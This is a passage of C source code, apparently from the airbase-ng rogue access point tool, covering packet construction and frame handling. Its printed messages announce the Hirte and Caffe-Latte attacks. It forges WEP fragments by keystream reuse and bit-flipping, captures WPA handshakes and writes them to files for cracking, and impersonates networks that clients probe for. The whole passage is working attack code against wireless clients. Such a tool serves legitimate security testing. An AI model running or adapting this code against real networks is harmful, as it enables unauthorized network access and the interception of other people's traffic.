frag1[z + 4 + 9] = 0x01; // ethernet
add_crc32(frag1 + z + 4, 10);
for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
/* frag1 finished */
for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
add_crc32_plain(flip, (int) (length - z - 4 - 4));
for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
packet[22] = 0xD1; // frag = 1;
// ready to send frag1 / len=z+4+10+4 and packet / len = length
}
else
{
/* process IP */
isarp = 0;
// build the new packet
set_clear_ip(clear, length - z - 4 - 8 - 4);
set_final_ip(final, opt.r_smac);
for (i = 0; i < 8; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
// correct 80211 header
packet[0] = 0x08; // data
if ((packet[1] & 3) == 0x00) // ad-hoc
{
packet[1] = 0x40; // wep
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, opt.r_smac, 6);
memcpy(packet + 16, bssid, 6);
}
else
{
packet[1] = 0x42; // wep+FromDS
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, bssid, 6);
memcpy(packet + 16, opt.r_smac, 6);
}
packet[22] = 0xD0; // frag = 0;
packet[23] = 0x50;
// need to shift by 12 bytes;(add 3 frags in front)
memcpy(frag1, packet, z + 4); // copy 80211 header and IV
memcpy(frag2, packet, z + 4); // copy 80211 header and IV
memcpy(frag3, packet, z + 4); // copy 80211 header and IV
frag1[1] |= 0x04; // more frags
frag2[1] |= 0x04; // more frags
frag3[1] |= 0x04; // more frags
memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4); //-V512
add_crc32(frag1 + z + 4, 4);
for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
add_crc32(frag2 + z + 4, 4);
for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
frag2[22] = 0xD1; // frag = 1;
frag3[z + 4 + 0] = 0x00; //-V525
frag3[z + 4 + 1] = 0x01; // ether
frag3[z + 4 + 2] = 0x08; // IP
frag3[z + 4 + 3] = 0x00;
add_crc32(frag3 + z + 4, 4);
for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
frag3[22] = 0xD2; // frag = 2;
/* frag1,2,3 finished */
for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
add_crc32_plain(flip, (int) (length - z - 4 - 4));
for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
packet[22] = 0xD3; // frag = 3;
// ready to send frag1,2,3 / len=z+4+4+4 and packet / len = length
}
while (curCF->next != NULL) curCF = curCF->next;
ALLEGE(pthread_mutex_lock(&mx_cf) == 0);
curCF->next = (pCF_t) malloc(sizeof(struct CF_packet));
ALLEGE(curCF->next != NULL);
curCF = curCF->next;
curCF->xmitcount = 0;
curCF->next = NULL;
if (isarp)
{
memcpy(curCF->frags[0], frag1, z + 4 + 10 + 4);
curCF->fraglen[0] = z + 4 + 10 + 4;
memcpy(curCF->final, packet, length);
curCF->finallen = length;
curCF->fragnum = 1; /* one frag and final frame */
}
else
{
memcpy(curCF->frags[0], frag1, z + 4 + 4 + 4);
memcpy(curCF->frags[1], frag2, z + 4 + 4 + 4);
memcpy(curCF->frags[2], frag3, z + 4 + 4 + 4);
curCF->fraglen[0] = z + 4 + 4 + 4;
curCF->fraglen[1] = z + 4 + 4 + 4;
curCF->fraglen[2] = z + 4 + 4 + 4;
memcpy(curCF->final, packet, length);
curCF->finallen = length;
curCF->fragnum = 3; /* three frags and final frame */
}
lopt.cf_count++;
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
if (lopt.cf_count == 1 && !opt.quiet)
{
PCT;
printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at "
"%d pps.\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5],
opt.r_nbpps);
}
if (opt.verbose)
{
PCT;
printf("Added %s packet to cfrag buffer.\n", isarp ? "ARP" : "IP");
}
return (0);
}
// add packet for caffe latte attack
static int addarp(unsigned char * packet, int length)
{
unsigned char bssid[6], smac[6], dmac[6];
unsigned char flip[4096];
int z = 0, i = 0;
if (packet == NULL) return (-1);
if (length != 68 && length != 86) return (-1);
z = ((packet[1] & 3) != 3) ? 24 : 30;
if ((packet[1] & 3) == 0)
{
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 10, 6);
memcpy(bssid, packet + 16, 6);
}
else
{
memcpy(dmac, packet + 4, 6);
memcpy(bssid, packet + 10, 6);
memcpy(smac, packet + 16, 6);
}
if (memcmp(dmac, BROADCAST, 6) != 0) return (-1);
if (memcmp(bssid, opt.r_bssid, 6) != 0) return (-1);
packet[21] ^= (rand_u8() + 1); // Sohail:flip sender MAC address since
// few clients do not honor ARP from its
// own MAC
if (lopt.nb_arp >= opt.ringbuffer) return (-1);
memset(flip, 0, 4096);
flip[49 - z - 4]
^= (rand_u8() + 1); // flip random bits in last byte of sender MAC
flip[53 - z - 4]
^= (rand_u8() + 1); // flip random bits in last byte of sender IP
add_crc32_plain(flip, length - z - 4 - 4);
for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
arp[lopt.nb_arp].buf = (unsigned char *) malloc(length);
ALLEGE(arp[lopt.nb_arp].buf != NULL);
arp[lopt.nb_arp].len = length;
memcpy(arp[lopt.nb_arp].buf, packet, length);
lopt.nb_arp++;
if (lopt.nb_arp == 1 && !opt.quiet)
{
PCT;
printf("Starting Caffe-Latte attack against "
"%02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5],
opt.r_nbpps);
}
if (opt.verbose)
{
PCT;
printf("Added an ARP to the caffe-latte ringbuffer %d/%d\n",
lopt.nb_arp,
opt.ringbuffer);
}
return (0);
}
static int store_wpa_handshake(struct ST_info * st_cur)
{
FILE * f_ivs;
struct ivs2_filehdr fivs2;
char ofn[1024];
struct ivs2_pkthdr ivs2;
if (st_cur == NULL) return (1);
fivs2.version = IVS2_VERSION;
snprintf(ofn,
sizeof(ofn) - 1,
"wpa-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
opt.f_index,
st_cur->stmac[0],
st_cur->stmac[1],
st_cur->stmac[2],
st_cur->stmac[3],
st_cur->stmac[4],
st_cur->stmac[5],
IVS2_EXTENSION);
opt.f_index++;
if ((f_ivs = fopen(ofn, "wb+")) == NULL)
{
perror("fopen failed");
fprintf(stderr, "Could not create \"%s\".\n", ofn);
return (1);
}
if (fwrite(IVS2_MAGIC, 1, 4, f_ivs) != (size_t) 4)
{
perror("fwrite(IVs file MAGIC) failed");
fclose(f_ivs);
return (1);
}
if (fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs)
!= (size_t) sizeof(struct ivs2_filehdr))
{
perror("fwrite(IVs file header) failed");
fclose(f_ivs);
return (1);
}
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
// write stmac as bssid and essid
ivs2.flags = 0;
ivs2.len = 0;
ivs2.len += st_cur->essid_length;
ivs2.flags |= IVS2_ESSID;
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
fclose(f_ivs);
return (1);
}
if (fwrite(opt.r_bssid, 1, 6, f_ivs) != (size_t) 6)
{
perror("fwrite(IV bssid) failed");
fclose(f_ivs);
return (1);
}
ivs2.len -= 6;
/* write essid */
if (fwrite(st_cur->essid, 1, (size_t) st_cur->essid_length, f_ivs)
!= (size_t) st_cur->essid_length)
{
perror("fwrite(IV essid) failed");
fclose(f_ivs);
return (1);
}
// add wpa data
ivs2.flags = 0;
ivs2.len = sizeof(struct WPA_hdsk);
ivs2.flags |= IVS2_WPA;
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
fclose(f_ivs);
return (1);
}
if (fwrite(&(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs)
!= (size_t) sizeof(struct WPA_hdsk))
{
perror("fwrite(IV wpa_hdsk) failed");
fclose(f_ivs);
return (1);
}
fclose(f_ivs);
return (0);
}
static int
packet_recv(uint8_t * packet, size_t length, struct AP_conf * apc, int external)
{
REQUIRE(packet != NULL);
uint8_t K[64];
uint8_t bssid[6];
uint8_t smac[6];
uint8_t dmac[6];
size_t trailer = 0;
uint8_t * tag = NULL;
size_t len = 0;
size_t i = 0;
int c = 0;
uint8_t * buffer;
uint8_t essid[256];
struct timeval tv1;
uint64_t timestamp;
char fessid[MAX_IE_ELEMENT_SIZE + 1];
int seqnum, fragnum, morefrag;
int gotsource, gotbssid;
int remaining;
// Is the frame a reassociation request?
int reasso;
int fixed, temp_channel;
uint8_t bytes2use;
unsigned z;
struct ST_info * st_cur = NULL;
struct ST_info * st_prv = NULL;
reasso = 0;
fixed = 0;
memset(essid, 0, 256);
ALLEGE(pthread_mutex_lock(&mx_cap) == 0);
if (lopt.record_data) capture_packet(packet, (int) length);
ALLEGE(pthread_mutex_unlock(&mx_cap) == 0);
// Check if the frame has 4 addresses (ToDS and FromDS present), and save base length
z = ((packet[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS) ? 24
: 30;
/* handle QoS field in data frame: they're 2 bytes longer */
if (packet[0] == (IEEE80211_FC0_SUBTYPE_QOS | IEEE80211_FC0_TYPE_DATA))
z += 2;
if (length < z)
{
return (1);
}
if (length > 3800)
{
return (1);
}
// Grab MAC addresses
switch (packet[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
memcpy(bssid, packet + 16, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 10, 6);
break;
case IEEE80211_FC1_DIR_TODS:
memcpy(bssid, packet + 4, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 10, 6);
break;
case IEEE80211_FC1_DIR_FROMDS:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 16, 6);
break;
default:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 24, 6);
break;
}
if ((packet[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_DSTODS)
{
/* no wds support yet */
return (1);
}
/* MAC Filter */
if (lopt.filter >= 0)
{
if (getMACcount(rClient) > 0)
{
/* filter clients */
gotsource = gotMAC(rClient, smac);
if ((gotsource && lopt.filter == BLOCK_MACS)
|| (!gotsource && lopt.filter == ALLOW_MACS))
return (0);
}
if (getMACcount(rBSSID) > 0)
{
/* filter bssids */
gotbssid = gotMAC(rBSSID, bssid);
if ((gotbssid && lopt.filter == BLOCK_MACS)
|| (!gotbssid && lopt.filter == ALLOW_MACS))
return (0);
}
}
/* check list of clients */
st_cur = lopt.st_1st;
st_prv = NULL;
while (st_cur != NULL)
{
if (!memcmp(st_cur->stmac, smac, 6)) break;
st_prv = st_cur;
st_cur = st_cur->next;
}
/* if it's a new client, add it */
if (st_cur == NULL)
{
if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
{
perror("malloc failed");
return (1);
}
memset(st_cur, 0, sizeof(struct ST_info));
if (lopt.st_1st == NULL)
lopt.st_1st = st_cur;
else
st_prv->next = st_cur;
memcpy(st_cur->stmac, smac, 6);
st_cur->prev = st_prv;
st_cur->tinit = time(NULL);
st_cur->tlast = time(NULL);
st_cur->power = -1;
st_cur->rate_to = -1;
st_cur->rate_from = -1;
st_cur->probe_index = -1;
st_cur->missed = 0;
st_cur->lastseq = 0;
gettimeofday(&(st_cur->ftimer), NULL);
for (i = 0; i < NB_PRB; i++)
{
memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
st_cur->ssid_length[i] = 0;
}
memset(st_cur->essid, 0, ESSID_LENGTH + 1);
st_cur->essid_length = 0;
st_cur->wpatype = 0;
st_cur->wpahash = 0;
st_cur->wep = 0;
lopt.st_end = st_cur;
}
/* Got a data packet with our bssid set and ToDS==1*/
if (memcmp(bssid, opt.r_bssid, 6) == 0 && (packet[0] & 0x08) == 0x08
&& (packet[1] & 0x03) == 0x01)
{
fragnum = packet[22] & 0x0F;
seqnum = (packet[22] >> 4) | (packet[23] << 4);
morefrag = packet[1] & 0x04;
/* Fragment? */
if (fragnum > 0 || morefrag)
{
addFrag(packet,
smac,
(int) length,
opt.crypt,
opt.wepkey,
(int) opt.weplen);
buffer = getCompleteFrag(
smac, seqnum, &len, opt.crypt, opt.wepkey, (int) opt.weplen);
timeoutFrag();
/* we got frag, no compelete packet avail -> do nothing */
if (buffer == NULL) return (1);
memcpy(packet, buffer, len);
length = len;
free(buffer);
buffer = NULL;
}
/* intercept packets in case we got external processing */
if (external)
{
intercept(packet, (int) length);
return (0);
}
/* To our mac? */
if ((memcmp(dmac, opt.r_bssid, 6) == 0 && !lopt.adhoc)
|| (memcmp(dmac, opt.r_smac, 6) == 0 && lopt.adhoc))
{
/* Is encrypted */
if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
&& (packet[1] & 0x40) == 0x40)
{
/* check the extended IV flag */
/* WEP and we got the key */
if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
&& !lopt.cf_attack)
{
memcpy(K, packet + z, 3);
memcpy(K + 3, opt.wepkey, opt.weplen);
if (decrypt_wep(packet + z + 4,
(int) (length - z - 4),
K,
(int) (3u + opt.weplen))
== 0)
{
return (1);
}
/* WEP data packet was successfully decrypted, *
* remove the WEP IV & ICV and write the data */
length -= 8;
memcpy(packet + z, packet + z + 4, length - z);
packet[1] &= 0xBF;
}
else
{
if (lopt.cf_attack)
{
addCF(packet, length);
return (0);
}
/* it's a packet for us, but we either don't have the key or
* its WPA -> throw it away */
return (0);
}
}
else
{
/* unencrypted data packet, nothing special, send it through
* dev_ti */
if (lopt.sendeapol
&& memcmp(packet + z,
"\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01",
10)
== 0)
{
/* got eapol start frame */
if (opt.verbose)
{
PCT;
printf("Got EAPOL start frame from "
"%02X:%02X:%02X:%02X:%02X:%02X\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5]);
}
st_cur->wpa.state = 0;
if (lopt.use_fixed_nonce)
{
memcpy(st_cur->wpa.anonce, lopt.fixed_nonce, 32);
}
else
{
for (i = 0; i < 32; i++)
st_cur->wpa.anonce[i] = rand_u8();
}
st_cur->wpa.state |= 1;
/* build first eapol frame */
memcpy(h80211, "\x08\x02\xd5\x00", 4);
len = 4;
memcpy(h80211 + len, smac, 6);
len += 6;
memcpy(h80211 + len, bssid, 6);
len += 6;
memcpy(h80211 + len, bssid, 6);
len += 6;
h80211[len] = 0x60;
h80211[len + 1] = 0x0f;
len += 2;
// llc+snap
memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
len += 8;
// eapol
memset(h80211 + len, 0, 99);
h80211[len] = 0x01; // version
h80211[len + 1] = 0x03; // type
h80211[len + 2] = 0x00;
h80211[len + 3] = 0x5F; // len
if (lopt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
if (lopt.wpa2type) h80211[len + 4] = 0x02; // WPA2
if (!lopt.wpa1type && !lopt.wpa2type)
{
if (st_cur->wpatype == 1) // WPA1
h80211[len + 4] = 0xFE; // WPA1
else if (st_cur->wpatype == 2)
h80211[len + 4] = 0x02; // WPA2
}
if (lopt.sendeapol >= 1 && lopt.sendeapol <= 2) // specified
{
if (lopt.sendeapol == 1) // MD5
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x89;
}
else // SHA1
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x8a;
}
}
else // from asso
{
if (st_cur->wpahash == 1) // MD5
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x89;
}
else if (st_cur->wpahash == 2) // SHA1
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x8a;
}
}
h80211[len + 7] = 0x00;
h80211[len + 8] = 0x20; // keylen
memset(h80211 + len + 9, 0, 90);
memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
len += 99;
my_send_packet(h80211, len);
return (0);
}
if (lopt.sendeapol
&& memcmp(packet + z,
"\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03",
10)
== 0)
{
st_cur->wpa.eapol_size
= (uint32_t) ((packet[z + 8 + 2] << 8)
+ packet[z + 8 + 3] + 4);
if ((unsigned) length - z - 10 < st_cur->wpa.eapol_size
|| st_cur->wpa.eapol_size == 0 //-V560
|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
{
// Ignore the packet trying to crash us.
st_cur->wpa.eapol_size = 0;
return (1);
}
/* got eapol frame num 2 */
memcpy(st_cur->wpa.snonce, &packet[z + 8 + 17], 32);
st_cur->wpa.state |= 2;
memcpy(st_cur->wpa.keymic, &packet[z + 8 + 81], 16);
memcpy(st_cur->wpa.eapol,
&packet[z + 8],
st_cur->wpa.eapol_size);
memset(st_cur->wpa.eapol + 81, 0, 16);
st_cur->wpa.state |= 4;
st_cur->wpa.keyver = (uint8_t) (packet[z + 8 + 6] & 7);
memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
store_wpa_handshake(st_cur);
if (!opt.quiet)
{
PCT;
printf("Got WPA handshake from "
"%02X:%02X:%02X:%02X:%02X:%02X\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5]);
}
return (0);
}
}
}
else
{
packet[1] &= 0xFC; // clear ToDS/FromDS
if (!lopt.adhoc)
{
/* Our bssid, ToDS=1, but to a different destination MAC -> send
* it through both interfaces */
packet[1] |= 0x02; // set FromDS=1
memcpy(packet + 4, dmac, 6);
memcpy(packet + 10, bssid, 6);
memcpy(packet + 16, smac, 6);
}
else
{
/* adhoc, don't replay */
memcpy(packet + 4, dmac, 6);
memcpy(packet + 10, smac, 6);
memcpy(packet + 16, bssid, 6);
}
/* Is encrypted */
if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
&& (packet[1] & 0x40) == 0x40)
{
/* check the extended IV flag */
/* WEP and we got the key */
if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
&& !lopt.caffelatte && !lopt.cf_attack)
{
memcpy(K, packet + z, 3);
memcpy(K + 3, opt.wepkey, opt.weplen);
if (decrypt_wep(packet + z + 4,
(int) (length - z - 4u),
K,
(int) (3u + opt.weplen))
== 0)
{
return (1);
}
/* WEP data packet was successfully decrypted, *
* remove the WEP IV & ICV and write the data */
length -= 8;
memcpy(packet + z, packet + z + 4, length - z);
packet[1] &= 0xBF;
/* reencrypt it to send it with a new IV */
memcpy(h80211, packet, length);
if (create_wep_packet(h80211, &length, z) != 0) return (1);
if (!lopt.adhoc) my_send_packet(h80211, length);
}
else
{
if (lopt.caffelatte)
{
addarp(packet, (int) length);
}
if (lopt.cf_attack)
{
addCF(packet, length);
}
/* it's a packet we can't decrypt -> just replay it through
* the wireless interface */
return (0);
}
}
else
{
/* unencrypted -> send it through the wireless interface */
my_send_packet(packet, length);
}
}
memcpy(h80211, dmac, 6); // DST_MAC
memcpy(h80211 + 6, smac, 6); // SRC_MAC
memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
if (length <= z + 8) return (1);
memcpy(h80211 + 14, packet + z + 8, length - z - 8);
length = length - z - 8 + 14;
// ethernet frame must be at least 60 bytes without fcs
if (length < 60)
{
trailer = 60 - length;
memset(h80211 + length, 0, trailer);
length += trailer;
}
ti_write(dev.dv_ti, h80211, (int) length);
}
else if ((packet[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_MGT)
{
// react on management frames
// probe request -> send probe response if essid matches. if broadcast
// probe, ignore it.
if ((packet[0] & IEEE80211_FC0_SUBTYPE_MASK)
== IEEE80211_FC0_SUBTYPE_PROBE_REQ)
{
tag = parse_tags(packet + z, 0, (int) (length - z), &len);
if (tag != NULL && tag[0] >= 32 && len <= 255) // directed probe
{
if (lopt.promiscuous || !lopt.f_essid
|| gotESSID((char *) tag, (int) len) == 1)
{
memset(essid, 0, 256);
memcpy(essid, tag, len);
/* store probes */
if (len > 0 && essid[0] == 0) goto skip_probe;
/* got a valid probed ESSID */
/* add this to the beacon queue */
if (lopt.beacon_cache)
addESSID((char *) essid, (int) len, lopt.beacon_cache);
/* check if it's already in the ring buffer */
for (i = 0; i < NB_PRB; i++)
if (memcmp(st_cur->probes[i], essid, len) == 0)
goto skip_probe;
st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
memset(st_cur->probes[st_cur->probe_index], 0, 256);
memcpy(st_cur->probes[st_cur->probe_index],
essid,
len); // twice?!
st_cur->ssid_length[st_cur->probe_index] = (int) len;
for (i = 0; i < len; i++)
{
c = essid[i];
if (c == 0 || (c > 126 && c < 160))
c = '.'; // could also check ||(c>0 && c<32)
st_cur->probes[st_cur->probe_index][i] = (char) c;
}
skip_probe:
// transform into probe response
packet[0] = 0x50;
if (opt.verbose)
{
PCT;
printf("Got directed probe request from "
"%02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5],
essid);
}
// store the tagged parameters and insert the fixed ones
buffer = (uint8_t *) malloc(length - z);
ALLEGE(buffer != NULL);
memcpy(buffer, packet + z, length - z);
memcpy(packet + z,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
12); // fixed information
packet[z + 8]
= (uint8_t) ((apc->interval) & 0xFF); // beacon interval
packet[z + 9] = (uint8_t) ((apc->interval >> 8) & 0xFF);
memcpy(packet + z + 10, apc->capa, 2); // capability
// set timestamp
gettimeofday(&tv1, NULL);
timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
// copy timestamp into response; a mod 2^64 counter
// incremented each microsecond
for (i = 0; i < 8; i++)
{
packet[z + i]
= (uint8_t) ((timestamp >> (i * 8)) & 0xFF);
}
// insert tagged parameters
memcpy(packet + z + 12, buffer, length - z);
length += 12;
free(buffer);
buffer = NULL;
// add channel
packet[length] = 0x03;
packet[length + 1] = 0x01;
temp_channel = wi_get_channel(_wi_in); // current channel
if (!invalid_channel_displayed)
{
if (temp_channel > 255)
{
// Display error message once
invalid_channel_displayed = 1;
fprintf(stderr,
"Error: Got channel %d, expected a value < "
"256.\n",
temp_channel);
}
else if (temp_channel < 1)
{
invalid_channel_displayed = 1;
fprintf(stderr,
"Error: Got channel %d, expected a value > "
"0.\n",
temp_channel);
}
}
packet[length + 2]
= (uint8_t) (((temp_channel > 255 || temp_channel < 1)
&& lopt.channel != 0)
? lopt.channel
: temp_channel);
length += 3;
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, opt.r_bssid, 6);
memcpy(packet + 16, opt.r_bssid, 6);
// TODO: See also about 100 lines below
if (lopt.allwpa)
{
memcpy(packet + length,
ALL_WPA2_TAGS,
sizeof(ALL_WPA2_TAGS) - 1);
length += sizeof(ALL_WPA2_TAGS) - 1;
memcpy(packet + length,
ALL_WPA1_TAGS,
sizeof(ALL_WPA1_TAGS) - 1);
length += sizeof(ALL_WPA1_TAGS) - 1;
}
else
{
if (lopt.wpa2type > 0)
{
memcpy(packet + length, WPA2_TAG, 22);
packet[length + 7] = (uint8_t) lopt.wpa2type;
packet[length + 13] = (uint8_t) lopt.wpa2type;
length += 22;
}
if (lopt.wpa1type > 0)
{
memcpy(packet + length, WPA1_TAG, 24);
packet[length + 11] = (uint8_t) lopt.wpa1type;
packet[length + 17] = (uint8_t) lopt.wpa1type;
length += 24;
}
}
my_send_packet(packet, length);
return (0);
}
}
else // broadcast probe
{
if (!lopt.nobroadprobe)
{
// transform into probe response
packet[0] = 0x50;
if (opt.verbose)
{
PCT;
printf("Got broadcast probe request from "
"%02X:%02X:%02X:%02X:%02X:%02X\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5]);
}
// store the tagged parameters and insert the fixed ones
buffer = (uint8_t *) malloc(length - z);
ALLEGE(buffer != NULL);
memcpy(buffer, packet + z, length - z);
memcpy(packet + z,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
12); // fixed information
packet[z + 8]
= (uint8_t) ((apc->interval) & 0xFF); // beacon interval
packet[z + 9] = (uint8_t) ((apc->interval >> 8) & 0xFF);
memcpy(packet + z + 10, apc->capa, 2); // capability
// set timestamp
gettimeofday(&tv1, NULL);
timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
// copy timestamp into response; a mod 2^64 counter
// incremented each microsecond
for (i = 0; i < 8; i++)
{
packet[z + i]
= (uint8_t) ((timestamp >> (i * 8)) & 0xFF);
}
// insert essid
len = (size_t) getESSID(fessid);
if (!len)
{
strncpy(fessid, "default", sizeof(fessid) - 1);
len = strlen(fessid);
}
packet[z + 12] = 0x00;
packet[z + 13] = (uint8_t) len;
memcpy(packet + z + 14, fessid, len);
// insert tagged parameters
memcpy(packet + z + 14 + len,
buffer,
length
- z); // now we got 2 essid tags... ignore that
length += 12; // fixed info
free(buffer);
buffer = NULL;
length += 2 + len; // default essid
// add channel
packet[length] = 0x03;
packet[length + 1] = 0x01;
temp_channel = wi_get_channel(_wi_in); // current channel
if (!invalid_channel_displayed)
{
if (temp_channel > 255)
{
// Display error message once
invalid_channel_displayed = 1;
fprintf(stderr,
"Error: Got channel %d, expected a value < "
"256.\n",
temp_channel);
}
else if (temp_channel < 1)
{
invalid_channel_displayed = 1;
fprintf(stderr,
"Error: Got channel %d, expected a value > "
"0.\n",
temp_channel);
}
}
packet[length + 2]
= (uint8_t) (((temp_channel > 255 || temp_channel < 1)
&& lopt.channel != 0)
? lopt.channel
: temp_channel);
length += 3;
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, opt.r_bssid, 6);
memcpy(packet + 16, opt.r_bssid, 6);
// TODO: See also around ~3500
if (lopt.allwpa)
{
memcpy(packet + length,
ALL_WPA2_TAGS,
sizeof(ALL_WPA2_TAGS) - 1);
length += sizeof(ALL_WPA2_TAGS) - 1;
memcpy(packet + length,
ALL_WPA1_TAGS,
sizeof(ALL_WPA1_TAGS) - 1);
length += sizeof(ALL_WPA1_TAGS) - 1;
}
else
{
if (lopt.wpa2type > 0)
{
memcpy(packet + length, WPA2_TAG, 22);
packet[length + 7] = (uint8_t) lopt.wpa2type;
packet[length + 13] = (uint8_t) lopt.wpa2type;
length += 22;
}
if (lopt.wpa1type > 0)
{
memcpy(packet + length, WPA1_TAG, 24);
packet[length + 11] = (uint8_t) lopt.wpa1type;
packet[length + 17] = (uint8_t) lopt.wpa1type;
length += 24;
}
}
my_send_packet(packet, length);
my_send_packet(packet, length);
my_send_packet(packet, length);
return (0);
}
}
}
// auth req
if ((packet[0] & IEEE80211_FC0_SUBTYPE_MASK)
== IEEE80211_FC0_SUBTYPE_AUTH
&& memcmp(bssid, opt.r_bssid, 6) == 0)
{
if (packet[z] == 0x00) // open system auth
{
// make sure it's an auth request
if (packet[z + 2] == 0x01)
{
if (opt.verbose)
{
PCT;
printf("Got an auth request from "
"%02X:%02X:%02X:%02X:%02X:%02X (open system)\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5]);
}
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, dmac, 6);
packet[z + 2] = 0x02;
if (lopt.forceska)
{
packet[z] = 0x01;
packet[z + 4] = 13;
}
my_send_packet(packet, length);
return (0);
}
}
else // shared key auth
{
// first response
if (packet[z + 2] == 0x01 && (packet[1] & 0x40) == 0x00)
{
if (opt.verbose)
{
PCT;
printf("Got an auth request from "
"%02X:%02X:%02X:%02X:%02X:%02X (shared key)\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5]);
}
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, dmac, 6);
packet[z + 2] = 0x02;
remaining = lopt.skalen;
while (remaining > 0)
{
bytes2use = MIN((uint8_t) 255u, (uint8_t) remaining);
remaining -= bytes2use;
// add challenge
packet[length] = 0x10;
packet[length + 1] = bytes2use;
length += 2;
for (i = 0; i < bytes2use; i++)
{
packet[length + i] = rand_u8();
}
length += bytes2use;
}
my_send_packet(packet, length);
check_shared_key(packet, length);
return (0);
}
// second response
if ((packet[1] & 0x40) == 0x40)
{
check_shared_key(packet, length);
packet[1] = 0x00; // not encrypted
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, dmac, 6);
packet[z] = 0x01; // shared key
packet[z + 1] = 0x00; //-V525
packet[z + 2] = 0x04; // sequence 4
packet[z + 3] = 0x00;
packet[z + 4] = 0x00; // successful
packet[z + 5] = 0x00;
length = z + 6;
my_send_packet(packet, length);
check_shared_key(packet, length);
if (!opt.quiet) PCT;
printf("SKA from %02X:%02X:%02X:%02X:%02X:%02X\n",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5]);
}
}
}
// asso req or reasso
if (((packet[0] & IEEE80211_FC0_SUBTYPE_MASK)
== IEEE80211_FC0_SUBTYPE_ASSOC_REQ
|| (packet[0] & IEEE80211_FC0_SUBTYPE_MASK)
== IEEE80211_FC0_SUBTYPE_REASSOC_REQ)
&& memcmp(bssid, opt.r_bssid, 6) == 0)
{
if ((packet[0] & IEEE80211_FC0_SUBTYPE_MASK)
== IEEE80211_FC0_SUBTYPE_ASSOC_REQ)
{
// asso req
reasso = 0; //-V1048
fixed = 4;
}
else // reassociation frame
{
reasso = 1;
fixed = 10;
}
st_cur->wep = (packet[z] & 0x10) >> 4;
// Check SSID is present
